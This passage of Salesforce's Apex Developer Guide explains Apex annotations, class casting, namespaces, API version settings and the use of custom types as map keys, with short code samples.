Warning: Adding a controller or controller extension grants access to all `@RemoteAction` methods in that Apex class, even if those methods aren't used in the page. Anyone who can view the page can execute all `@RemoteAction` methods and provide fake or malicious data to the controller.

Then, add the request as a JavaScript function call. A simple JavaScript remoting invocation takes the following form.

```
[namespace.]MyController.method(  
    [parameters...],  
    callbackFunction,  
    [configuration]  
);
```

Table 2: Remote Request Elements

Element	Description
namespace	The namespace of the controller class. The namespace element is required if your organization has a namespace defined, or if the class comes from an installed package.
MyController, MyExtension	The name of your Apex controller or extension.
method	The name of the Apex method you're calling.
parameters	A comma-separated list of parameters that your method takes.
callbackFunction	The name of the JavaScript function that handles the response from the controller. You can also declare an anonymous function inline. <code>callbackFunction</code> receives the status of the method call and the result as parameters.
configuration	Configures the handling of the remote call and response. Use this element to change the behavior of a remoting call, such as whether to escape the Apex method's response.

In your controller, your Apex method declaration is preceded with the `@RemoteAction` annotation like this:

```
@RemoteAction
global static String getItemId(String objectName) { ... }
```

Apex `@RemoteAction` methods must be `static` and either `global` or `public`.

Your method can take Apex primitives, collections, typed and generic `sObjects`, and user-defined Apex classes and interfaces as arguments. Generic `sObjects` must have an `ID` or `sObjectType` value to identify actual type. Interface parameters must have an `apexType` to identify actual type. Your method can return Apex primitives, `sObjects`, collections, user-defined Apex classes and enums, `SaveResult`, `UpsertResult`, `DeleteResult`, `SelectOption`, or `PageReference`.

For more information, see “JavaScript Remoting for Apex Controllers” in the *Visualforce Developer's Guide*.

SuppressWarnings Annotation

This annotation does nothing in Apex but can be used to provide information to third-party tools.

The `@SuppressWarnings` annotation does nothing in Apex but can be used to provide information to third-party tools.

TestSetup Annotation

Methods defined with the `@TestSetup` annotation are used for creating common test records that are available for all test methods in the class.

Syntax

Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.

```
@TestSetup static void methodName() {
}
```

If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those records.

 **Note:** You can have only one test setup method per test class.

Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has access to organization data by using the `@IsTest(SeeAllData=true)` annotation, test setup methods aren't supported in this class. Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those versions only.

For more information, see [Using Test Setup Methods](#).

TearDown Annotation (Developer Preview)

Use the `TearDown` annotation to mark a cleanup method that runs after the test completes, regardless of pass or fail.

 **Note:** The Apex Integration Tests feature is available as a developer preview in scratch orgs in Summer '26 (API version 67.0). The feature isn't generally available unless or until Salesforce announces its general availability in documentation or in press releases or public statements. All commands, parameters, and other features are subject to change or deprecation at any time, with or without notice. Don't implement functionality developed with these commands or tools in your production package.

The annotation is applied to a static method that runs after the integration test completes, regardless of whether the test passed, failed, or threw an exception. Use this annotation to clean up committed test data. The teardown transaction auto-commits at the end of the execution.

TestVisible Annotation

Use the `TestVisible` annotation to allow test methods to access private or protected members of another class outside the test class. These members include methods, member variables, and inner classes. This annotation enables a more permissive access level for running tests only. This annotation doesn't change the visibility of members if accessed by non-test classes.

With this annotation, you don't have to change the access modifiers of your methods and member variables to public if you want to access them in a test method. For example, if a private member variable isn't supposed to be exposed to external classes but it must be accessible by a test method, you can add the `TestVisible` annotation to the variable definition.

This example shows how to annotate a private class member variable and private method with `TestVisible`.

```
public class TestVisibleExample {
    // Private member variable
    @TestVisible private static Integer recordNumber = 1;

    // Private method
    @TestVisible private static void updateRecord(String name) {
        // Do something
    }
}
```

This test class uses the previous class and contains the test method that accesses the annotated member variable and method.

```
@IsTest
private class TestVisibleExampleTest {
    @IsTest static void test1() {
        // Access private variable annotated with TestVisible
        Integer i = TestVisibleExample.recordNumber;
        System.assertEquals(1, i);

        // Access private method annotated with TestVisible
        TestVisibleExample.updateRecord('RecordName');
        // Perform some verification
    }
}
```

Apex REST Annotations

Use these annotations to expose an Apex class as a RESTful Web service.

- `@ReadOnly`
- `@RestResource(urlMapping='/yourUrl')`
- `@HttpDelete`
- `@HttpGet`
- `@HttpPatch`
- `@HttpPost`

- `@HttpPut`

SEE ALSO:

[Exposing Apex Classes as REST Web Services](#)

RestResource Annotation

The `@RestResource` annotation is used at the class level and enables you to expose an Apex class as a REST resource.

Some considerations when using this annotation:

- The URL mapping is relative to `https://instance.salesforce.com/services/apexrest/`.
- The URL mapping can contain a wildcard (*).
- The URL mapping is case-sensitive. For example, a URL mapping for `my_url` matches a REST resource containing `my_url` and not `My_Ur1`.
- To use this annotation, your Apex class must be defined as global.

URL Guidelines

URL path mappings are as follows:

- The path must begin with a forward slash (/).
- The path can be up to 255 characters long.
- A wildcard (*) that appears in a path must be preceded by a forward slash (/). Additionally, unless the wildcard is the last character in the path, it must be followed by a forward slash (/).

The rules for mapping URLs are:

- An exact match always wins.
- If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those.
- If no wildcard match is found, an HTTP response status code 404 is returned.

The URL for a namespaced class contains the namespace. For example, if your class is in namespace `abc` and the class is mapped to `your_url`, then the API URL is modified as follows:

`https://instance.salesforce.com/services/apexrest/abc/your_url/`. In the case of a URL collision, the namespaced class is always used.

HttpDelete Annotation

The `@HttpDelete` annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP `DELETE` request is sent, and deletes the specified resource.

To use this annotation, your Apex method must be defined as global static.

HttpGet Annotation

The `@HttpGet` annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP `GET` request is sent, and returns the specified resource.

These are some considerations when using this annotation:

- To use this annotation, your Apex method must be defined as global static.
- Methods annotated with `@HttpGet` are also called if the HTTP request uses the `HEAD` request method.

HttpPatch Annotation

The `@HttpPatch` annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP `PATCH` request is sent, and updates the specified resource.

To use this annotation, your Apex method must be defined as global static.

HttpPost Annotation

The `@HttpPost` annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP `POST` request is sent, and creates a new resource.

To use this annotation, your Apex method must be defined as global static.

HttpPut Annotation

The `@HttpPut` annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP `PUT` request is sent, and creates or updates the specified resource.

To use this annotation, your Apex method must be defined as global static.

Classes and Casting

In general, all type information is available at run time. This means that Apex enables *casting*, that is, a data type of one class can be assigned to a data type of another class, but only if one class is a subclass of the other class. Use casting when you want to convert an object from one data type to another.

In the following example, `CustomReport` extends the class `Report`. Therefore, it is a subclass of that class. This means that you can use casting to assign objects with the parent data type (`Report`) to the objects of the subclass data type (`CustomReport`).

```
public virtual class Report {  
}
```


```
public class CustomReport extends Report {  
}
```

In the following code segment, a custom report object is first added to a list of report objects. Then the custom report object is returned as a report object, which is then cast back into a custom report object.

```
...  
// Create a list of report objects  
Report[] Reports = new Report[5];  
  
// Create a custom report object  
CustomReport a = new CustomReport();  
  
// Because the custom report is a sub class of the Report class,  
// you can add the custom report object a to the list of report objects  
Reports.add(a);  
  
// The following is not legal:  
// CustomReport c = Reports.get(0);  
// because the compiler does not know that what you are  
// returning is a custom report.  
  
// You must use cast to tell it that you know what
```

```
// type you are returning. Instead, get the first item in the list
// by casting it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
...
```

Casting Example



In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.

Tip: To verify if a class is a specific type of class, use the `instanceof` keyword. For more information, see [Using the instanceof Keyword](#) on page 86.

1. [Classes and Collections](#)
2. [Collection Casting](#)

Classes and Collections

Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with `sObjects`. This means, for example, that you can use a user-defined data type for the value or the key of a map. Likewise, you can create a set of user-defined objects.

If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an interface `i1`, and `MyC` implements `i1`, then `MyC` can be placed in the list.

SEE ALSO:

[Using Custom Types in Map Keys and Sets](#)

Collection Casting

Because collections in Apex have a declared type at runtime, Apex allows collection casting.

Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of `CustomerPurchaseOrder` objects can be assigned to a list of `PurchaseOrder` objects if class `CustomerPurchaseOrder` is a child of class `PurchaseOrder`.

```
public virtual class PurchaseOrder {

    Public class CustomerPurchaseOrder extends PurchaseOrder {

    }
    {
        List<PurchaseOrder> POs = new PurchaseOrder[] {};
        List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[] {};
        POs = CPOs;
    }
}
```

Once the `CustomerPurchaseOrder` list is assigned to the `PurchaseOrder` list variable, it can be cast back to a list of `CustomerPurchaseOrder` objects, but only because that instance was originally instantiated as a list of `CustomerPurchaseOrder` objects. A list of `PurchaseOrder` objects that is instantiated as such cannot be cast to a list of `CustomerPurchaseOrder` objects, even if the list of `PurchaseOrder` objects contains only `CustomerPurchaseOrder` objects.

If the user of a `PurchaseOrder` list that only includes `CustomerPurchaseOrder` objects tries to insert a non-`CustomerPurchaseOrder` subclass of `PurchaseOrder` (such as `InternalPurchaseOrder`), a runtime exception results. This is because Apex collections have a declared type at runtime.



Note: Maps behave in the same way as lists with regards to the value side of the Map. If the value side of map A can be cast to the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting is not valid with the particular map at runtime.

Differences Between Apex Classes and Java Classes

Apex classes and Java classes work in similar ways, but there are some significant differences.

These are the major differences between Apex classes and Java classes:

- Inner classes and interfaces can only be declared one level deep inside an outer class.
- Static methods and variables can only be declared in a top-level class definition, not in an inner class.
- An inner class behaves like a static Java inner class, but doesn't require the `static` keyword. An inner class can have instance member variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the `this` keyword).
- The `private` access modifier is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do not specify an access modifier, the method or variable is `private`.
- Specifying no access modifier for a method or variable and the `private` access modifier are synonymous.
- The `public` access modifier means the method or variable can be used by any Apex in this application or namespace.

- The `global` access modifier means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of the application, either in the SOAP API or by other Apex code. If you declare a method or variable as `global`, you must also declare the class that contains it as `global`.
- Methods and classes are final by default.
 - The `virtual` definition modifier allows extension and overrides.
 - The `override` keyword must be used explicitly on methods that override base class methods.
- Methods defined in an interface have the same access modifier (`public` or `global`) as the interface.
- Exception classes must extend either exception or another user-defined exception.
 - Their names must end with the word `exception`.
 - Exception classes have four implicit constructors that are built-in, although you can add others.
- Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.

SEE ALSO:

[Exceptions in Apex](#)

Class Definition Creation

Use the class editor to create a class in Salesforce.

1. From Setup, enter *Apex Classes* in the Quick Find box, then select **Apex Classes**.
2. Click **New**.
3. Click **Version Settings** to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments, test methods, or classes defined using `@IsTest`.
5. Click **Save** to save your changes and return to the class detail screen, or click **Quick Save** to save your changes and continue editing your class. Your Apex class must compile correctly before you can save your class.

Classes can also be automatically generated from a WSDL by clicking **Generate from WSDL**. See [SOAP Services: Defining a Class from a WSDL Document](#) on page 615.

Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.

-  **Note:** To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an `isValid` flag that is set to `true` as long as dependent metadata hasn't changed since the class was last compiled. If any changes are made to object names or fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made to a class that calls this class, the `isValid` flag is set to `false`. When a trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If there are no errors, the `isValid` flag is reset to `true`.

The Apex Class Editor

The Apex and Visualforce editor has the following functionality:

Syntax highlighting

The editor automatically applies syntax highlighting for keywords and all functions and operators.

Search (🔍🔍)

Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the `Search` textbox and click **Find Next**.

- To replace a found search string with another string, enter the new string in the `Replace` textbox and click **replace** to replace just that instance, or **Replace All** to replace that instance and all other instances of the search string that occur in the page, class, or trigger.
- To make the search operation case sensitive, select the **Match Case** option.
- To use a regular expression as your search string, select the **Regular Expressions** option. The regular expressions follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.

If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables (\$1, \$2, and so on) from the found search string. For example, to replace an `<h1>` tag with an `<h2>` tag and keep all the attributes on the original `<h1>` intact, search for `<h1 (\s+) (.*) >` and replace it with `<h2$1$2>`.

Go to line (➡➡)

This button allows you to highlight a specified line number. If the line isn't currently visible, the editor scrolls to that line.

Undo (↶↶) and Redo (↷↷)

Use undo to reverse an editing action and redo to recreate an editing action that was undone.

Font size

Select a font size from the dropdown list to control the size of the characters displayed in the editor.

Line and column position

The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line (➡➡) to quickly navigate through the editor.

Line and character count

The total number of lines and characters is displayed in the status bar at the bottom of the editor.

1. [Naming Conventions](#)
2. [Name Shadowing](#)

Naming Conventions

We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and variable names should be meaningful.

It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.

SEE ALSO:

[Variables](#)

Name Shadowing

Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors of the standard Java form:

```
Public Class Shadow {
    String s;
    Shadow(String s) { this.s = s; } // Same name ok
    setS(String s) { this.s = s; } // Same name ok
}
```

Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference to P first.

Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S. References to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.

Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside that top-level class file) or prefixed with the class name. For example:

```
public class pl {
    public static final Integer CLASS_INT = 1;
    public class c { };
}
pl.c c = new pl.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = pl.CLASS_INT;
```

Namespace Prefix

The Salesforce application supports the use of *namespace prefixes*. Namespace prefixes are used in managed AppExchange packages to differentiate custom object and field names from names used by other organizations.

 **Important:** When creating a namespace, use something that's useful and informative to users. However, don't name a namespace after a person (for example, by using a person's name, nickname, or private information). Once namespaces are assigned, they cannot be changed.

After a developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom object and field names in the developer's managed packages take on the following long format:

```
namespace_prefix__obj_or_field_name__c
```

These fully qualified names can be onerous to update in working SOQL or SOSL statements, and Apex once a class is marked as “managed”. Therefore, Apex supports a default namespace for schema names. When looking at identifiers, the parser assumes that the namespace of the current object is the namespace of all other objects and fields unless otherwise specified. Therefore, a stored class must refer to custom object and field names directly (using **obj_or_field_name__c**) for those objects that are defined within its same application namespace.

 **Tip:** Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to your organization from the AppExchange.

Using Namespaces When Invoking Package Methods

To invoke a method that is defined in a managed package, Apex allows fully qualified identifiers of the form:

```
namespace_prefix.class.method(args)
```

Versioned Behavior Changes

In API version 34.0 and later, `Schema.DescribeSObjectResult` on a custom `SObjectType` includes map keys prefixed with the namespace, even if the namespace is that of currently executing code. If you work with multiple namespaces and generate runtime describe data, make sure that your code accesses keys correctly using the namespace prefix.

1. [Using the System Namespace](#)

2. [Using the Schema Namespace](#)

The `Schema` namespace provides classes and methods for working with schema metadata information. We implicitly import `Schema.*`, but you must fully qualify your uses of `Schema` namespace elements when they have naming conflicts with items in your unmanaged code. If your org contains an Apex class that has the same name as an `sObject`, add the `Schema` namespace prefix to the `sObject` name in your code.

3. [Namespace, Class, and Variable Name Precedence](#)

4. [Type Resolution and System Namespace for Types](#)

Using the System Namespace

The `System` namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new instance of a system class or when calling a system method. For example, because the built-in `URL` class is in the `System` namespace, both of these statements to create an instance of the `URL` class are equivalent:

```
System.URL url1 = new System.URL('https://MyDomainName.my.salesforce.com/');
```

And:

```
URL url1 = new URL('https://MyDomainName.my.salesforce.com/');
```

Similarly, to call a static method on the `URL` class, you can write either of the following:

```
System.URL.getCurrentRequestUrl();
```

Or:

```
URL.getCurrentRequestUrl();
```



Note: In addition to the `System` namespace, there is a built-in `System` class in the `System` namespace, which provides methods like `assertEquals` and `debug`. Don't get confused by the fact that both the namespace and the class have the same name in this case. The `System.debug('debug message');` and `System.System.debug('debug message');` statements are equivalent.

Using the System Namespace for Disambiguation

It is easier to not include the `System` namespace when calling static methods of system classes, but there are situations where you must include the `System` namespace to differentiate the built-in Apex classes from custom Apex classes with the same name. If your organization contains Apex classes that you've defined with the same name as a built-in class, the Apex runtime defaults to your custom class and calls the methods in your class. Let's take a look at the following example.

Create this custom Apex class:

```
public class Database {
    public static String query() {
        return 'wherefore art thou namespace?';
    }
}
```

Execute this statement in the Developer Console:

```
sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
```

When the `Database.query` statement executes, Apex looks up the query method on the custom `Database` class first. However, the query method in this class doesn't take any parameters and no match is found, hence you get an error. The custom `Database` class overrides the built-in `Database` class in the `System` namespace. To solve this problem, add the `System` namespace prefix to the class name to explicitly instruct the Apex runtime to call the query method on the built-in `Database` class in the `System` namespace:

```
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
```

SEE ALSO:

[Using the Schema Namespace](#)

Using the Schema Namespace

The `Schema` namespace provides classes and methods for working with schema metadata information. We implicitly import `Schema.*`, but you must fully qualify your uses of `Schema` namespace elements when they have naming conflicts with items in your unmanaged code. If your org contains an Apex class that has the same name as an sObject, add the `Schema` namespace prefix to the sObject name in your code.

You can omit the namespace when creating an instance of a schema class or when calling a schema method. For example, because the `DescribeSObjectResult` and `FieldSet` classes are in the `Schema` namespace, these code segments are equivalent.

```
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FSMap = d.fieldSets.getMap();
```

And:

```
DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, FieldSet> FSMap = d.fieldSets.getMap();
```

Using the Schema Namespace for Disambiguation

Use `Schema.object_name` to refer to an sObject that has the same name as a custom class. This disambiguation instructs the Apex runtime to use the sObject.

```
public class Account {
    public Integer myInteger;
}

// ...
```

```
// Create a standard Account object myAccountSObject
Schema.Account myAccountSObject = new Schema.Account();
// Create accountClassInstance, a custom class in your org
Account accountClassInstance = new Account();
myAccountSObject.Name = 'Snazzy Account';
accountClassInstance.myInteger = 1;
```

SEE ALSO:

[Using the System Namespace](#)

Namespace, Class, and Variable Name Precedence

Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions in the form of `name1.name2.[...].nameN` as follows:

1. The parser first assumes that `name1` is a local variable with `name2 - nameN` as field references.
2. If the first assumption does not hold true, the parser then assumes that `name1` is a class name and `name2` is a static variable name with `name3 - nameN` as field references.
3. If the second assumption does not hold true, the parser then assumes that `name1` is a namespace name, `name2` is a class name, `name3` is a static variable name, and `name4 - nameN` are field references.
4. If the third assumption does not hold true, the parser reports an error.

If the expression ends with a set of parentheses (for example, `name1.name2.[...].nameM.nameN()`), the Apex parser evaluates the expression as follows:

1. The parser first assumes that `name1` is a local variable with `name2 - nameM` as field references, and `nameN` as a method invocation.
2. If the first assumption does not hold true:
 - If the expression contains only two identifiers (`name1.name2()`), the parser then assumes that `name1` is a class name and `name2` is a method invocation.
 - If the expression contains more than two identifiers, the parser then assumes that `name1` is a class name, `name2` is a static variable name with `name3 - nameM` as field references, and `nameN` is a method invocation.
3. If the second assumption does not hold true, the parser then assumes that `name1` is a namespace name, `name2` is a class name, `name3` is a static variable name, `name4 - nameM` are field references, and `nameN` is a method invocation.
4. If the third assumption does not hold true, the parser reports an error.

However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign keys).

Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields cannot refer back to Apex expressions.

For instance, if you have the following class:

```
public class c {
    c1 c1 = new c1();
    class c1 { c2 c2; }
    class c2 { Account a; }
}
```

Then the following expressions are all legal:

```
c.c1.c2.a.name  
c.c1.c2.a.owner.lastName.toLowerCase()  
c.c1.c2.a.tasks  
c.c1.c2.a.contacts.size()
```

Type Resolution and System Namespace for Types

Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows:

1. For a type reference `TypeN`, the parser first looks up that type as a scalar type.
2. If `TypeN` is not found, the parser looks up locally defined types.
3. If `TypeN` still is not found, the parser looks up a class of that name.
4. If `TypeN` still is not found, the parser looks up system types such as `sObjects`.

For the type `T1 . T2` this could mean an inner type `T2` in a top-level class `T1`, or it could mean a top-level class `T2` in the namespace `T1` (in that order of precedence).

Apex Code Versions

To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version.

If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.

Setting a version for an installed package determines the exposed interface of any Apex code in the installed package. This allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version of the package before the code was deprecated.

Typically, you reference the latest Salesforce API version and each installed package version. If you save an Apex class or trigger without specifying the Salesforce API version, the class or trigger is associated with the latest installed version by default. If you save or redeploy an Apex class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated with the latest installed version of the managed package by default.

Versioning of Apex Classes and Methods

When classes and methods are added to the Apex language, those classes and methods are available to all API versions your Apex code is saved with, regardless of the API version (Salesforce release) they were introduced in. For example, if a method was added in API version 33.0, you can use this method in a custom class saved with API version 33.0 or another class saved with API version 25.0.

There is one exception to this rule. The classes and methods of the [ConnectApi](#) namespace are supported only in the API versions specified in the documentation. For example, if a class or method is introduced in API version 33.0, it is not available in earlier versions. For more information, see [ConnectApi Versioning and Equality Checking](#) on page 463.

Keep these guidelines in mind regarding API version usage:

- Salesforce strongly recommends that you use the latest available API version.
- If you can't upgrade to the latest version yet, use API versions released in the past three years, for improved performance, security, and compatibility.
- To reduce complexity, consolidate your Apex codebase to use the minimal number of API versions, ideally, just one API version.

For a non-exhaustive list of major Apex behavior changes across API versions, organized by version number, see [Apex Versioned Behavior Changes](#) on page 793.

[Setting the Salesforce API Version for Classes and Triggers](#)

[Setting Package Versions for Apex Classes and Triggers](#)

As a managed package subscriber, you can specify which package version that your managed Apex classes and triggers use.

SEE ALSO:

[Use Apex Referenced by Managed Packages](#)

Setting the Salesforce API Version for Classes and Triggers

To set the Salesforce API and Apex version for a class or trigger:

1. Edit either a class or trigger, and click **Version Settings**.
2. Select the `Version` of the Salesforce API. This version is also the version of Apex associated with the class or trigger.
3. Click **Save**.

If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed due to the Salesforce API version setting, the fields in the objects are controlled by the version settings of C2.

In this example, the `Categories` field is set to `null` after calling the `insertIdea` method in class C2 from a method in the test class C1, because the `Categories` field isn't available in version 13.0 of the API.

The first class is saved using Salesforce API version 13.0:

```
// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
{
    global Idea insertIdea(Idea a) {
        insert a; // category field set to null on insert

        // retrieve the new idea
        Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id];

        return insertedIdea;
    }
}
```

The following class is saved using Salesforce API version 16.0:

```
@IsTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
    static testMethod void testC2Method() {
        Idea i = new Idea();
        i.CommunityId = '09aD000000004YCIAY';
        i.Title = 'Testing Version Settings';
        i.Body = 'Categories field is included in API version 16.0';
        i.Categories = 'test';
    }
}
```

```

C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
    WHERE Id = :returnedIdea.Id];

// assert that the categories field from the object created
// in this class is not null
System.assert(i.Categories != null);
// assert that the categories field created in C2 is null
System.assert(ideaMoreFields.Categories == null);
}
}

```

Setting Package Versions for Apex Classes and Triggers

As a managed package subscriber, you can specify which package version that your managed Apex classes and triggers use.

 **Note:** In Summer '25 and later, package subscribers can use version settings to specify the version of a migrated second-generation managed package (2GP) that an Apex class or trigger depends on. This functionality is already available to first-generation managed packages (1GP), but isn't yet supported in 2GP packages that weren't converted from a 1GP package. See [Apex Version Settings in Migrated Second-Generation Managed Packages \(2GP\)](#).

To configure the package version settings for a class or trigger:

1. From Setup, enter *Apex Classes* or *Apex Triggers* in the Quick Find box, and then select **Apex Classes** or **Apex Triggers**.
2. From the list, click **Edit** for the Apex class or trigger that you want to configure.
3. Click the **Version Settings** tab.
4. From the Version dropdown for the managed package, select the desired version referenced by the class or trigger.
The class or trigger continues to use this version even if you install later versions of the managed package, unless you manually update the version setting.
5. Click **Save**.

When working with package version settings, keep these considerations in mind.

- By default, an Apex class or trigger that references a managed package is associated with the version of the package installed when that class or trigger was last saved or deployed.
- If a class or trigger references a managed package, you can't remove the package's version settings for that class or trigger. To find where the class or trigger references a managed package, on the class or trigger's Detail page, click **Show Dependencies**.

 **Tip:** You can also set the package version for an Apex class or trigger through metadata deployments or with API requests. See [Set Package Versions for Apex Classes and Triggers](#) on page 782.

SEE ALSO:

[Use Apex Referenced by Managed Packages](#)

Lists of Custom Types and Sorting

Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.

To sort such a list, your Apex class can implement the `Comparator` interface and pass it as a parameter to the `List.sort` method. Alternatively, your Apex class can implement the `Comparable` interface.

The sort criteria and sort order depend on the implementation that you provide for the `Comparable.compareTo` or the `Comparator.compare` method.

To perform locale-sensitive comparisons and sorting, use the `Collator` class. Because locale-sensitive sorting can produce different results depending on the user running the code, avoid using it in triggers or in code that expects a particular sort order.

SEE ALSO:

[Apex Reference Guide: Collator Class](#)

[Apex Reference Guide: Comparable Interface](#)

[Apex Reference Guide: Comparator Interface](#)

Using Custom Types in Map Keys and Sets

You can add instances of your own Apex classes to maps and sets.

For maps, instances of your Apex classes can be added either as keys or values. If you add them as keys, there are some special rules that your class must implement for the map to function correctly; that is, for the key to fetch the right value. Similarly, if set elements are instances of your custom class, your class must follow those same rules.



Warning: If the object in your map keys or set elements changes after being added to the collection, it won't be found anymore because of changed field values.

When using a custom type (your Apex class) for the map key or set elements, provide `equals` and `hashCode` methods in your class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.

Adding `equals` and `hashCode` Methods to Your Class

To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently, provide an implementation of the following two methods in your class:

- The `equals` method with this signature:

```
public Boolean equals(Object obj) {  
    // Your implementation  
}
```

- The `hashCode` method with this signature:

```
public Integer hashCode() {  
    // Your implementation  
}
```

Sample

This sample shows how to implement the `equals` and `hashCode` methods. The class that provides those methods is listed first. It also contains a constructor that takes two integers. The second example is a code snippet that creates three objects of the class, two of which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the `==` operator, which works as expected because the class implements `equals`. Also, some additional map operations are performed, like

checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique.

```
public class PairNumbers {
    Integer x,y;

    public PairNumbers(Integer a, Integer b) {
        x=a;
        y=b;
    }

    public Boolean equals(Object obj) {
        if (obj instanceof PairNumbers) {
            PairNumbers p = (PairNumbers)obj;
            return ((x==p.x) && (y==p.y));
        }
        return false;
    }

    public Integer hashCode() {
        return (31 * x) ^ y;
    }
}
```

This code snippet makes use of the `PairNumbers` class.

```
Map<PairNumbers, String> m = new Map<PairNumbers, String>();
PairNumbers p1 = new PairNumbers(1,2);
PairNumbers p2 = new PairNumbers(3,4);
// Duplicate key
PairNumbers p3 = new PairNumbers(1,2);
m.put(p1, 'first');
m.put(p2, 'second');
m.put(p3, 'third');

// Map size is 2 because the entry with
// the duplicate key overwrote the first entry.
System.assertEquals(2, m.size());

// Use the == operator
if (p1 == p3) {
    System.debug('p1 and p3 are equal.');
```

```
}

// Perform some other operations
System.assertEquals(true, m.containsKey(p1));
System.assertEquals(true, m.containsKey(p2));
System.assertEquals(false, m.containsKey(new PairNumbers(5,6)));

for(PairNumbers pn : m.keySet()) {
    System.debug('Key: ' + pn);
}

List<String> mValues = m.values();
System.debug('m.values: ' + mValues);
```

```
// Create a set
Set<PairNumbers> s1 = new Set<PairNumbers>();
s1.add(p1);
s1.add(p2);
s1.add(p3);

// Verify that we have only two elements
// since the p3 is equal to p1.
System.assertEquals(2, s1.size());
```

Working with Data in Apex

You can add and interact with data in the Lightning Platform persistence layer. The `sObject` data type is the main data type that holds data objects. You'll use Data Manipulation Language (DML) to work with data, and use query languages to retrieve data, such as the `SOQL`, among other things.

Working with `sObjects`

In this developer guide, the term *sObject* refers to any object that can be stored in the Lightning platform database.

Data Manipulation Language

Apex enables you to insert, update, delete or restore data in the database. DML operations allow you to modify records one at a time or in batches.

